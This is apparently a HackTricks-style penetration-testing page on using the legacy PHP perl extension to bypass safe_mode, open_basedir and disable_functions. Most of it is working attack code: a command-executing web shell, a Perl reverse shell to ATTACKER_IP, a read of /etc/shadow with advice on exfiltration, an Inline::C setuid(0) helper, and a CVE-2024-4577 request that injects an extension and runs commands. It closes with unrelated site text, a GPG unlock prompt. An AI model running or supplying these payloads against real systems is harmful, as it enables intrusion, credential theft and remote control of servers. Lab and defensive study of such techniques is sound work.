// HackTricks · Network Services

PHP Perl Extension Safemode Bypass Exploit

PHP Perl Extension Safe_mode Bypass Exploit

Background

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a Perl interpreter without enforcing PHP’s safe_mode restrictions. Perl evaluation also operates outside controls such as PHP’s disable_functions and open_basedir, so a loaded extension can expose command and filesystem primitives that PHP attempted to restrict. safe_mode disappeared in PHP 5.4; this technique is relevant primarily to old shared-hosting installations and deliberately vulnerable labs.[1][2]

Compatibility and Packaging Status

  • The last PECL release (perl-1.0.1, 2013) declares PHP 5.0 or newer, but the package is unmaintained and its source targets the PHP 5-era Zend API. PHP 7/8 generally require an unofficial port and an exact ABI build; the version string alone does not establish compatibility.[2]
  • PECL is being superseded by PIE, but legacy stacks still ship PECL/PEAR.[4] Treat the flow below as a PHP 5 lab recipe unless a target already contains a compatible extension.

Building a Testable Environment in 2025

  • Fetch perl-1.0.1 from PECL, compile it for the PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Legacy Debian-based lab recipe (requires an archive or third-party repository that still provides PHP 5.6 packages):
    sudo apt install php5.6 php5.6-dev php-pear build-essential
    sudo pecl install perl-1.0.1
    echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
    sudo phpenmod perl && sudo systemctl restart apache2
  • During an authorized test, confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for a correctly built perl.so and writable system-level PHP configuration. The extension directive is php.ini-only and cannot be set in .user.ini.[8]
  • Because the interpreter lives inside the PHP worker, Perl code does not need /usr/bin/perl or PHP process-launching functions. Operating-system permissions, mandatory access controls, and network-egress filtering still apply.

On-host build chain with shell and compiler access

If phpize, a compiler toolchain, Perl development headers, and shell execution are available, you can build a matching perl.so on the host:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config="$(command -v php-config)"
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# loading requires a writable php.ini/scanned system INI or control of CGI arguments/service config

The module must match PHP’s API, architecture, thread-safety mode, and linked Perl ABI. open_basedir is not a substitute for controlling extension loading, but an attacker still needs a configuration or process-start primitive that accepts extension=. The compilation flow mirrors the PHP manual for building PECL extensions.[3][8]

Original PoC (NetJackal)

The original NetJackal PoC remains useful for confirming that the legacy extension responds to eval:[1][7]

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Modern Payload Enhancements

1. Reverse shell over TCP

The embedded interpreter can load IO::Socket even if /usr/bin/perl is blocked. This provides a basic interactive shell over pipes, not a fully allocated terminal/PTY:[2]

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Even with open_basedir

Perl ignores PHP’s open_basedir, so you can read arbitrary files:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Pipe the output through IO::Socket::INET or Net::HTTP to exfiltrate data without touching PHP-managed descriptors.

3. Inline native helper compilation

If Inline::C, a compiler, writable build directories, and headers exist, Perl can compile native helpers without PHP’s ffi or pcntl. This does not inherently escalate privileges: setuid(0) succeeds only if the worker already has that privilege or a separate local privilege-escalation condition exists.

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Treat embedded Perl as a living-off-the-land interpreter. For example, DBI can enumerate data sources exposed by an installed MySQL driver even if PHP’s mysqli extension is missing:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

2024+ Abuse: Loading perl.so via PHP-CGI Argument Injection (CVE-2024-4577)

On vulnerable Windows installations that expose PHP-CGI, CVE-2024-4577 can convert a soft hyphen to a command-line hyphen under affected Windows best-fit locales, allowing injected -d options. If—and only if—the attacker already has an ABI-, architecture-, and thread-safety-compatible Windows Perl extension DLL, this can load it even when dl() is disabled and php.ini is read-only.[5]

  • Build or upload a compatible Windows extension DLL (for example, C:\xampp\htdocs\temp\php_perl.dll). PECL does not provide a current drop-in DLL, making this prerequisite uncommon.
  • Send a single HTTP request that injects -d extension=C:\\xampp\\htdocs\\temp\\perl.dll and, in the same request body, a Perl-backed payload:
POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\php_perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>

If the DLL loads, the PHP worker embeds Perl before evaluating the request body, exposing the same out-of-policy Perl primitives. The initial fix shipped in PHP 8.1.29/8.2.20/8.3.8, and a later bypass was addressed as CVE-2024-8926 in PHP 8.1.30/8.2.24/8.3.12; defenders should run a currently supported, fully updated PHP release rather than stopping at the first fixed version.[6][9]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.